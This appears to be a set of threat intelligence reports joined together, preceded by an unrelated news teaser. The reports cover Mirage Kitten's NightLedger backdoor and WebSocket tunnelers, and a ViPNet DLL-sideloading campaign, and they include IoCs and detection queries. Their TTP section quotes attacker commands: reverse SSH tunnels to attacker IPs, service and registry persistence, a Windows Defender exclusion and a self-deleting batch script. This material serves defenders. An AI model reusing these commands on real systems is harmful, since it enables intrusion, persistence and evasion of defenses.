Midnight Blizzard has been stealing Microsoft account credentials via compromised Wi-Fi networks at hospitality organizations.
The post Russian State APT Linked to Recent Public Wi-Fi Gateway Hacking appeared first on SecurityWeek.
Mirage KittenΒ β also known as UNC1549, Smoke Sandstorm, and Nimbus ManticoreΒ β is an advanced persistent threat (APT) group focused on cyber-espionage operations against aerospace, aviation, defense, and telecommunications sectors across the Middle East and Africa, using highly targeted spear-phishing campaigns, fake recruitment portals, and custom multi-stage malware to gain persistent access and exfiltrate sensitive data.
During recent threat research, we identified a previously undocumented malware set developed and used by Mirage Kitten. The toolset includes NightLedger, a new Windows backdoor for reconnaissance, command execution, file operations, process discovery, and screenshot capture; and two custom WebSocket-based tunnelers, ArcBridge and BridgeHead, for covert network access and operator-controlled tunneling.
Although the initial access vector remains unclear for most malware samples observed in this activity, we saw BridgeHead being deployed during post-exploitation activities in victim environments in Egypt and at a Pakistan-based aerospace and aviation organization. The deployment followed targeted spear-phishing activity consistent with tradecraft we recently documented as part of our private threat intelligence reporting service and publicly reported by Unit 42 and Check Point Research, including the use of highly tailored social engineering lures against selected targets. These lures included recruitment-themed content impersonating trusted brands and hiring platforms, as well as lookalike videoconferencing pages that redirected victims to malicious archives hosted on third-party file-sharing services.
NightLedger is a recently identified Windows backdoor that we attribute to Mirage Kitten based on code and behavioral similarities to the historical implants developed and used by the group. The implant masquerades as SspiCli.dll and appears to be designed for DLL search-order hijacking, targeting a legitimate AppVShNotify.exe binary. While AppVShNotify.exe does not directly import SspiCli.dll, it imports RPCRT4.dll, which can delay-load SspiCli.dll when it invokes an RPC API that requires authentication. This allows a co-located malicious SspiCli.dll to be loaded while forwarding expected exports to the legitimate DLL.
When started, the malicious DLL creates the mutex A8215357-F99A-44FE-BC65-D8F0434B0C03 to enforce a single running instance. If the mutex already exists, it exits immediately.
NightLedger periodically contacts its C2 over HTTPS, issuing an HTTP GET request to the /edfcvfgbhnjmkqwasderfgg endpoint at the realhealthshop[.]com domain, and uses tjconsultingservices[.]com as a fallback C2.
When a valid C2 response is received, the implant tokenizes the payload using the custom delimiter (#%%#) and passes the parsed fields to its command dispatcher. From a development standpoint, this is similar to TWOSTROKE, a backdoor attributed to the same APT and previously documented by GTIG, whose C2 response is hex-encoded and uses (@##@) as a field separator.
NightLedger supports the following commands:
| Command ID | Description |
| 1 | Gather user and host identity information |
| 3 | Execute a process/program |
| 17 | List directories |
| 20 | Download a file to the infected system |
| 25 | Gather host and network information |
| 27 | Copy a file |
| 30 | Update beacon interval |
| 36 | Take a screenshot |
| 43 | Load a DLL |
| 56 | Kill a process |
| 62 | Delete a file |
| 69 | Terminate thread |
| 70 | Upload file to C2 server via POST request to /qasxcdfvgbhnmyuioplkhnj |
| 75 | Enumerate logical drives |
| 90 | List processes |
| 93 | Collect C:\Windows\debug\NetSetup.log together with process-list output. NetSetup.log is a Windows diagnostic log generated under C:\Windows\debug\ during domain/workgroup join, unjoin, and related network setup operations. |
Command output is returned to the C2 via an HTTP POST request to /wsdefvvbnhyuijkplmbgfrtt.
During our investigation, we encountered a tunnel proxy deployed as unbcl.dll in the %LocalAppData%\Microsoft\VisualStudio directory on a machine in Egypt. We also identified a similar deployment in a Pakistan-based environment, where the tunneling tool was stored as C:\program files (x86)\univpn\promote\libwinpthread-1.dll. The malware dynamically loads advapi32.dll, resolves GetUserNameA, retrieves the current Windows username, converts it to lowercase, and searches for a specific substring in it. This behavior suggests prior reconnaissance was performed within the internal network and the username check is needed to make sure it runs on a specific machine. This is potentially intended to prevent execution of the standalone malware sample inside virtual analysis systems. If the substring is not found, the function returns silently without activating.
If the username check was successful, the tunneler establishes an HTTPS WebSocket connection as follows:
GET /connect HTTP/1.1 Host: smartconnect.azurewebsites.net Upgrade: websocket Connection: Upgrade User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Edg/86.0.622.38
The server responds with HTTP 101 (Switching Protocols) to complete the WebSocket upgrade. After the upgrade, the client sends a binary WebSocket message containing the literal string "token" as authentication. The server must respond within 10 seconds, or the connection is dropped and retried with exponential backoff.
The malwareβs next action depends on the HTTP response returned by the server:
| HTTP response | Description |
| 407 (Proxy Auth Required) | Queries supported auth schemes via WinHttpQueryAuthSchemes, selects Negotiate (0x10) or NTLM (0x2) in that exact order, sets Windows SSO credentials (null username/password), retries up to 3 times. |
| 101 (Switching Protocols) | Success. Proceeds to WebSocket upgrade and authentication. |
| Other | Connection failed. Closes all handles, enters backoff. |
This implementation closely mirrors the enterprise proxy traversal logic seen in the backdoor we track internally as Retrograde, which overlaps with tooling publicly reported as MiniFast/MiniUpdate, attributed to the same APT group. The implant is designed to operate through corporate proxy environments by handling HTTP 407 responses, negotiating Windows-integrated proxy authentication with Negotiate preferred over NTLM, retrying with the current userβs SSO context, and falling back to exponential C2 connection retry logic capped at 60 seconds.
Once the WebSocket channel is established and authenticated, the implant functions as a full SOCKS5 tunnel proxy. The C2 server initiates all tunnel connections by sending binary commands over the WebSocket; the implant simply forwards traffic between serverβspecified targets and the WebSocket channel. This makes it a relay node: the operator runs tools serverβside, and all resulting TCP traffic is tunneled through the victimβs machine as if originating from the victimβs network.
All tunnel communication uses a fixed binary wire format:
| Offset | Size | Field | Encoding |
| 0 | 1 | type | Message type (1β9) |
| 1 | 4 | connId | Tunnel connection identifier |
| 5 | 1 | flags | Status or error indicator |
| 6 | 2 | dataLen | Payload length |
| 8 | var | payload | Message data |
Every message is at least 8 bytes. Seven message types are actively used:
| Type | Name | Direction | Description |
| 1 | CONNECT | Server -> Client | Open a new TCP tunnel to a SOCKS5 target address |
| 2 | CONNECT_RESPONSE | Client -> Server | Confirm the connection was established |
| 3 | DATA | Bidirectional | Relay TCP traffic through the tunnel |
| 4 | DISCONNECT | Bidirectional | Close a tunnel connection |
| 5 | PING | Bidirectional | Keepalive probe, sent every 30 seconds by timer |
| 6 | PONG | Bidirectional | Keepalive reply |
| 9 | FLOWCTRL | Bidirectional | Throttle data flow to prevent buffer overrun |
The CONNECT payload specifies where the implant should open a TCP connection. The target address is encoded in SOCKS5 format and consists of a single type byte, followed by the address and a 2-byte destination port:
| Type byte | Description |
| 0x01 | IPv4 address (4 bytes) |
| 0x03 | Domain name (1-byte length + string) |
| 0x04 | IPv6 address (16 bytes) |
Notably, in the process of threat hunting, we detected another variant (MD5: C832ECD135781B11F59E3FFFB3D2B6AC) that shares the same dynamic-resolve stub pattern. This variant communicates with businessmixture.com/blog over WSS on port 443, and not through Microsoft Azure. Still, it implements the same technique of limiting execution to a specific username on the infected machine by hardcoding a 3-character control value that must appear as a substring in the lowercased Windows username retrieved via GetUserNameA. If the match fails, the implant silently exits, confirming per-target tailoring of each deployed binary.
ArcBridge is another WebSocket tunneling tool developed and used by Mirage Kitten. We first identified it in April 2026 in activity targeting victims in the Middle East. The malware creates a mutex named F56E68DA-4A89-46B4-9AC8-7290A7651000 to enforce single-instance execution. The use of a UUID-like mutex name is consistent with the NightLedger backdoor described earlier.
The malware contains an embedded configuration block that stores the C2 host, C2 port, retry or timeout value, SSL flag, and what is highly likely an implant identifier:
"<<STARTXX>>" "aecert.org" 443 5000 0 "4B8CC395-A26F-41F1-A1DC-8B993D9D41D2" "<<ENDXX>>"
After initialization, ArcBridge communicates over a WebSocket-style channel and waits for server-side control messages. It supports the following commands:
| Command | Description |
| OPEN: | Creates a proxy/tunnel session to a target selected by the operator. |
| DNS: | Performs hostname or address resolution and returns the result. |
According to our telemetry, we identified victims across Middle East and African countries including Egypt, SMB and government environments in Jordan and Tanzania, aviation organizations in Pakistan, telecommunication companies in Ethiopia and financial-sector entities in Burkina Faso.
Mirage Kitten continues to evolve its malware arsenal to support targeted cyber-espionage operations across the Middle East and Africa regions. The NightLedger backdoor retains similar core command functionality to TWOSTROKE while introducing additional capabilities, including screenshot capture and collection of the NetSetup.log file.
Another notable aspect of the campaign is the groupβs continued reliance on tunneling utilities as part of its operational toolkit. This aligns with previous public reporting, which documented the groupβs use of the LIGHTRAIL and POLLBLEND tunnelers. Consistent with this tradecraft, we observed Mirage Kitten continuing to leverage tunneling capabilities alongside a gradual shift away from Microsoft Azure subdomain-style infrastructure in favor of Cloudflare-backed domains in some of its malware, a change likely intended to complicate attribution while maintaining resilient command-and-control communications.
Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.
NightLedger backdoor
A239E655709A2518DD0B7BDBED163679 β sspicli.dll
ArcBridge WebSocket tunneling tool
5FA15EF96808EA82F0A6176F0BB4B386
42F847597109DA2A220391BB09D00676
AFB1C1583606599C7272CFB33CC6F498
BridgeHead WebSocket tunneling tool
6038D42AF0AFFD1FB263F470C0956F6B β unbcl.dll
AE628EFA305387B633DCE82F9364875B β unbcl.dll
F7D36CC5904A53252D2BB3D21615134F β libwinpthread-1.dll
C90F0EFADBF322E5EB1C4103A38C30E6 β libwinpthread-1.dll
D09B14A2FE01C7363ECC56F5D046162C β IPHLPAPI.dll
smartconnect[.]azurewebsites[.]net
businessmixture[.]com
global-reds[.]com
maadinglobal[.]com
Business-deegital[.]com
business-deegital[.]azurewebsites[.]net
businessdeegital[.]azurewebsites[.]net
neexportfolio[.]azurewebsites[.]net
neexportfolio[.]com
neexportfolio[.]eastus[.]cloudapp[.]azure[.]com
172[.]86[.]98[.]113
aecert[.]org
realhealthshop[.]com
tjconsultingservices[.]com
thehealth-life[.]com
buisness-centeral-transportation[.]com
healthcarezoom-centeral[.]azurewebsites[.]net
healthcarezoomcenteral[.]azurewebsites[.]net
healthcarezoomcenteral[.]org
toadreport[.]azurewebsites[.]net
business-startup[.]azurewebsites[.]net
businessstartup[.]azurewebsites[.]net
UPD 16.07.2026: Added rules to protect companies using our Kaspersky SIEM system, and listed events for developing custom detection rules or conducting threat hunting.
UPD 16.07.2026: Added detection of the malicious activity using Kaspersky Managed Detection and Response.
UPD 16.07.2026: Added detection rules and examples using KEDR Expert.
UPD 16.07.2026: Added detection of the malicious campaign in network traffic using Kaspersky Anti Targeted Attack (KATA) with the NDR module.
UPD 16.07.2026: Updated the list of Indicators of Compromise (IoCs) and TTPs.
We discovered a new APT attack using previously unknown tooling, which started at least in May 2026 and remains active at the time of publication. It is notable in that the implants used during the attack were launched through the ViPNet update system (a software suite for creating secure networks). During our research, we identified attempts at targeted infection of large Russian organizations in the government, energy, transport, education, and logistics sectors, as well as industry. This is not the first time an advanced group has targeted computers connected to ViPNet networks. For example, last year, we discovered a complex backdoor mimicking ViPNet updates.
On one of the analyzed systems, we identified a malicious file named wtsapi32.dll in the directory C:\Program Files (x86)\InfoTeCS\VIPNet Update System, which belongs to the ViPNet suite update system. By placing the file in this directory, the attackers implement the DLL Sideloading technique β the ViPNet update system executable file itcsrvup64.exe, which is launched at OS startup, is susceptible to it. Thus, during this attack, the attackers tried to implement persistence on the system through the ViPNet software update component.
The wtsapi32.dll component is a loader, which we named HelloInjector. Its main goal is to inject its code into the svchost.exe process and launch the malicious payload. After starting, the malware checks the process in the context of which it was launched. If the name of the main process is not svchost.exe, the loader starts iterating through all processes running in the operating system. It looks for a process whose name contains the string svchost, and whose command line contains the string netsvcs. If such a process is found, the loader injects itself into the target process using the NtWriteVirtualMemory and NtCreateThreadEx functions.
After restarting inside the new process, the loader checks the process name again for the presence of the string svchost. Having confirmed the successful check, HelloInjector loads and executes the malicious payload, which is stored in its body in plain text, in memory.
The malicious payload, which we named HelloProxy, is simultaneously a hidden proxy and a loader for the following modules sent by the command server. It works by intercepting the NtDeviceIoControlFile, closesocket, and shutdown functions. Their interception is carried out using the Microsoft Detours library.
The handlers of the closesocket and shutdown functions prevent the premature closing of sockets used for interaction with the C2. In turn, the handler of the NtDeviceIoControlFile function contains the main malicious logic. Its code implements the interception of two IOCTL codes:
LoginAFD_RECV (0x12017)AFD_GET_TDI_HANDLES (0x12037)These codes are used during socket operations β their interception allows the malware to hinder security solutions operating in user mode for filtering network connections. Kaspersky security solutions detect such activity and prevent infection attempts at all stages.
The AFD_GET_TDI_HANDLES handler is responsible for socket registration, and the AFD_RECV handler initiates the processing of incoming traffic. It is worth noting that every incoming message that triggered the processing of the AFD_RECV code is logged to the file C:\users\public\tesh4RPC.txt in the format:
threadid: <Thread ID> pid=<PID>\r\n
After installing the interceptors, the malware starts listening on ports 5003 and 5060 in anticipation of the first commands from the C2 server. In order to distinguish the command server traffic from the rest of the traffic, the implant implements a handshake process: it sends two bytes 0x0502 through the socket and expects to receive a message containing the string ASDFASFSAFASDF. After the successful completion of the handshake, the processing of incoming commands continues.
Depending on the received command, there are two execution branches:
<ip_addr>:<port>
During the research, we managed to discover two malicious payloads that were injected into the svchost process, likely as a result of the previously described loaderβs operation:
We established that the HelloExecutor backdoor was used for reconnaissance in the networks of infected organizations. The following shell commands were executed:
query user ipconfig /all ping 8.8.8.8 -n 1 net user /do net group /do dir "C:\Program Files (x86)" dir "C:\Program Files (x86)\infotecs\" dir "C:\Program Files (x86)\infotecs\ViPNet Administrator" dir "C:\Program Files (x86)\infotecs\ViPNet Client\Export" dir "C:\Program Files (x86)\infotecs\ViPNet Client" dir "Π‘:\ProgramData\Infotecs\ViPNet Administrator\kc\Export\" dir "$appdata\Infotecs\ViPNet Administrator\kc\Export\ Dst for network <Π½ΠΎΠΌΠ΅Ρ ΡΠ΅ΡΠΈ ΡΠ΄Π°Π»Π΅Π½>" dir c:\users\[username] query user dir C:\Users\Public\music
In these commands, the mention of the directory C:\Users\Public\Music is notable. We established that on infected machines, the attackers used this directory when launching an SSH tunnel from the infected infrastructure to the attackersβ command server (5.39.253[.]206). The attackers launched a renamed executable file of the legitimate PuTTY utility (a client for various remote access protocols):
C:\users\public\music\frontpage.exe -C -N -R 8443:[redacted]:5003 sftp@5.39.253[.]206 -P 3522 -pw [redacted]
In addition to this, a backdoor written in the Rust language, which we named HelloBackdoor, was discovered on one of the infected systems. It accepts connections on port 443, waiting for the string 47c6235b4d2611184 (the second half of the MD5 hash of the string hello\n) to activate the backdoor. This backdoor further accepts the following commands:
!upload β upload a file to the infected machine
!down β download a file from the infected machine
!stop β stop the backdoorβs operation. For this, a BAT file is created and executed with the following content:
@echo off :loop if exist <selfpath> ( del /F /Q <selfpath> if exist <selfpath> goto loop ) sc stop iplircontrol >nul timeout 5 > nul sc start iplircontrol > nul (goto) 2>nul & del /F /Q %0
If the command text did not match the above list, the command is executed using cmd.exe.
During the analysis of one of the wtsapi32.dll file samples, we found an unused string:
GET / HTTP/1.1\r\nHost: news.sina.com\r\nConnection : keep - alive\r\nUpgrade - Insecure - Requests : 1\r\nUser - Agent : Mozilla / 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit / 537.36 (KHTML, like Gecko) Chrome / 145.0.0.0 Safari / 537.36 Edg / 145.0.0.0\r\nAccept : text / html, application / xhtml + xml, application / xml; q = 0.9, image / avif, image / webp, image / apng, */*;q=0.8,application/signed-exchange;v=b3;q=0.7\r\n
It refers to the news portal sina.com, which is popular in China.
In addition, while analyzing the strings in the HelloBackdoor backdoor, we established that during compilation, Rust packages (crates) were downloaded from the mirror mirrors.ustc.edu.cn. Most likely, these strings remained in the malicious files unintentionally. However, the probability of using βfalse flagsβ implanted by attackers to complicate the attribution process cannot be excluded. At present, we link this campaign to the activities of an unknown Chinese-speaking APT group with a low degree of confidence.
Given that this is not the first time ViPNet has been used by advanced threat actor to conduct cyberattacks, we recommend paying special attention to the protection of workstations running this software. In particular, network traffic monitoring should be configured on the ports specified in the article for timely detection of signs of compromise.
Countering complex targeted attacks requires a comprehensive approach that combines security technologies operating at various stages of the cyberattack lifecycle. Such a multi-level security model helps not only to detect but also to prevent this category of incidents. This approach is embedded in the architecture of the Kaspersky Next Expert range of solutions, designed to protect businesses from APT-level threats, including attacks similar to the one described in this article.
Kaspersky solutions detect this threat with the following verdicts:
Kaspersky security solutions, such as Kaspersky Endpoint Detection and Response Expert, successfully detect malicious activity within the described attacks.
One practical method of detection is monitoring renamed PuTTY/Plink binaries rather than relying on the file name: even if the executable is named frontpage.exe, its PE header, version, strings, and hash match the original Plink, which is confirmed by EDR events. Additionally, it is worth paying attention to the specific command line with which the process was launched. The KEDR Expert solution detects this activity using the using_plink_or_putty_for_port_forwarding rule.
It is also important to monitor process injection into svchost.exe originating from the ViPNet update process itcsrvup64.exe, since this component should not legitimately inject code into system processes. Such behavior is a characteristic indicator of HelloInjector activity, which uses a trusted and signed process to mask malicious injection. The KEDR Expert solution detects this activity using the vipnet_load_library_code_injection rule.
Another effective way to detect malicious activity associated with ViPNet is monitoring network traffic. The Kaspersky Anti Targeted Attack (KATA) solution with the NDR module detects this activity using the IDS module and a Suricata rule for HelloBackdoor activity.
The rule is implemented based on the first packet expected by the malware. It accepts TCP connections on port 443, expecting to receive the command 47c6235b4d2611184 (part of the MD5 hash of the string hello\n), which activates the backdoor.
The Kaspersky Managed Detection and Response service detects this attack using the following indicators:
wtsapi32.dll library in the C:\Program Files (x86)\InfoTeCS\VIPNet Update System directory.Itcsrvup64.exe or Itcsrvup.exe).svchost.exe process.%ProgramData%, %TEMP%, %SystemRoot%\Temp, C:\Users\Public, music|pictures|videos|contacts|links|libraries).port:address:port and their variations in the command line.
To protect companies using our Kaspersky SIEM system, the product repository contains rules that help detect such malicious activity.
Reconnaissance of users and groups, as well as network connections using standard Windows utilities, is detected by the following rules:
Also, when developing your own detection rules or conducting threat hunting, we recommend paying attention to the following events:
(DeviceEventClassID = '4663' OR DeviceEventClassID = '11') AND match(FileName, '.*\\.(exe|dll)') AND FileName ilike '%\InfoTeCS\VIPNet Update System\%'
wtsapi32.dll library into ViPNet update processes Itcsrvup64.exe or Itcsrvup.exe with an invalid signature (Signed not true, SignatureStatus not valid) or a signature that does not contain InfoTeCS vendor details:DeviceEventClassID = 7 AND match(DestinationProcessName, '.*\\\\(itcsrvup64|itcsrvup)\\.exe') AND FileName ilike '%wtsapi32.dll' AND FileName ilike '%\InfoTeCS\VIPNet Update System\%' AND ((DeviceCustomNumber1 = 0 AND DeviceCustomNumber2 = 0) OR NOT FlexString2 ilike '%InfoTeCS%')
Itcsrvup64.exe or Itcsrvup.exe:(DeviceEventClassID = '4688' OR DeviceEventClassID = '1') AND match(SourceProcessName, '.*\\\\(Itcsrvup64|Itcsrvup)\\.exe') AND NOT match(DestinationProcessName, '.*\\\\(wmail|monitor|itcsrvup64)\\.exe')
Itcsrvup64.exe or Itcsrvup.exe with an invalid signature (Signed not true, SignatureStatus not valid) or a signature that does not contain InfoTeCS vendor details:DeviceEventClassID = '1' AND match(DestinationProcessName, '.*\\\\(Itcsrvup64|Itcsrvup)\\.exe') AND ((DeviceCustomNumber1 = 0 AND DeviceCustomNumber2 = 0) OR NOT FlexString2 ilike '%InfoTeCS%')
svchost.exe process:(DeviceEventClassID = '4688' OR DeviceEventClassID = '1') AND SourceProcessName ilike '%svchost.exe' AND match(DeviceCustomString4, '.*cmd(.exe)?.*\/c\s+(net\s+(use|group)|sc\s+(query|start|stop)|ping|ipconfig|netstat).*')
DeviceEventClassID = '1' AND match(OldFileName, '.*(plink|ssh).*') AND DeviceCustomString4 match '\d+:\d+\.\d+\.\d+\.\d+:\d+'
For correct functioning of detection rules and threat hunting, it is necessary to ensure that events from Windows systems are received by the Kaspersky SIEM system in full, including events with the following identifiers: Sysmon 1, 7, 11, as well as Security 4688, 4663.
HelloBackdoor
16C211C96735F2FAE9361B89BD7A31BF
1BFE2B9493128574907A8279256A8BCC
f9eed2f0158dc98e7012fb809152209c
HelloBackdoor Droppers:
6001829A128FE264B4403138700C11A8 β infotecs\vipnet client\puh.exe
EE4FF46DDD8489E81447962F927BC3F6 β infotecs\vipnet client\store.exe
Utility for adding exclusions to Windows Defender:
41c938b3cd7e55d4077e34976929b140
wtsapi32.dll
B103CD21280B4061F88B2BCC51394894
9F5606A0755BC633B9BD7DB6D179C09E
0CFDFFC56F0FA325D0C4D24780B46597
5.39.253[.]206
176.32.34[.]135
T1569.002 β System Services: Service Execution
"cmd" /c sc start UrBackupClientBackendT1016 β System Network Configuration Discovery
"cmd" /c arp -a"cmd" /c routeprintT1049 β System Network Connections Discovery
"cmd" /c netstat -anoT1018 β Remote System Discovery
"cmd" /c ping mail.ru -n 2T1082 β System Information Discovery
"cmd" /c systeminfoT1057 β Process Discovery
"cmd" /c tasklistT1007 β System Service Discovery
"cmd" /c sc query UrBackupClientBackendT1083 β File and Directory Discovery
"cmd" /c dir temp*.tmp"cmd" /c dir $temp\*.tmp"cmd" /c dir amgmt*"cmd" /c dir $user\desktop\mRemoteNG-Portable-1.76.20.24669"cmd" /c dir $public\libraries\"cmd" /c dir d:\WindowsImageBackupT1005 β Data from Local System
"cmd" /c type $temp\TS_E9E3.tmp"cmd" /c type $temp\Acr6F3D.tmpT1074.001 β Local Data Staging
"cmd" /c copy appdata\infotecs\*\APN000B.txt $public\libraries\T1070.004 β Indicator Removal: File Deletion
"cmd" /c del $windir\amgmt.dll"cmd" /c del $public\libraries\APN000B.txtT1543.003 β Create or Modify System Process: Windows Service
sc stop AppMgmtsc delete AppMgmtsc create AppMgmt binpath= "system32\svchost.exe -k netsvcs" type= share start= auto displayname= "Application Management"sc description AppMgmt "Processes installation, removal, and enumeration requests for software deployed through Group Policy. If the service is disabled, users will be unable to install, remove, or enumerate software deployed through Group Policy. If this service is disabled, any services that explicitly depend on it will fail to start."sc failure AppMgmt reset= 0 actions= restart/0T1112 β Modify Registry
reg add HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt\Parameters /v ServiceDll /t REG_EXPAND_SZ /d $system32\$selfname.dllreg add HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt\Parameters /v ServiceMain /t REG_SZ /d ServiceMainT1036 β Masquerading (service, description, and DLL masquerade as the legitimate Application Management)
"cmd" /c copy $windir\amgmt* $system32\T1059.003 β Execution of auxiliary scripts
"cmd" /c $windir\amgmt.bat"cmd" /c $windir\insru.cmdT1105 β Ingress Tool Transfer
"cmd" /c $programfiles\7-zip\7z.exe x $windir\Irsoisas.zip -o"$windirT1562.001 β Impair Defenses: Disable or Modify Tools
"cmd" /c \$windir\puh.exe add $windir\autoit3.exe whiteT1059 / T1218 β Proxy execution via AutoIt
"cmd" /c \$windir\autoit3.exe \$windir\data.datT1572 β Protocol Tunneling / T1090 β Proxy / T1021.004 β Remote Services: SSH
c:\users\[username]\libraries\pagent.exe -C -N -R 6443:[redacted] root@176.32.34.135 -P 48022 -pw [redacted]
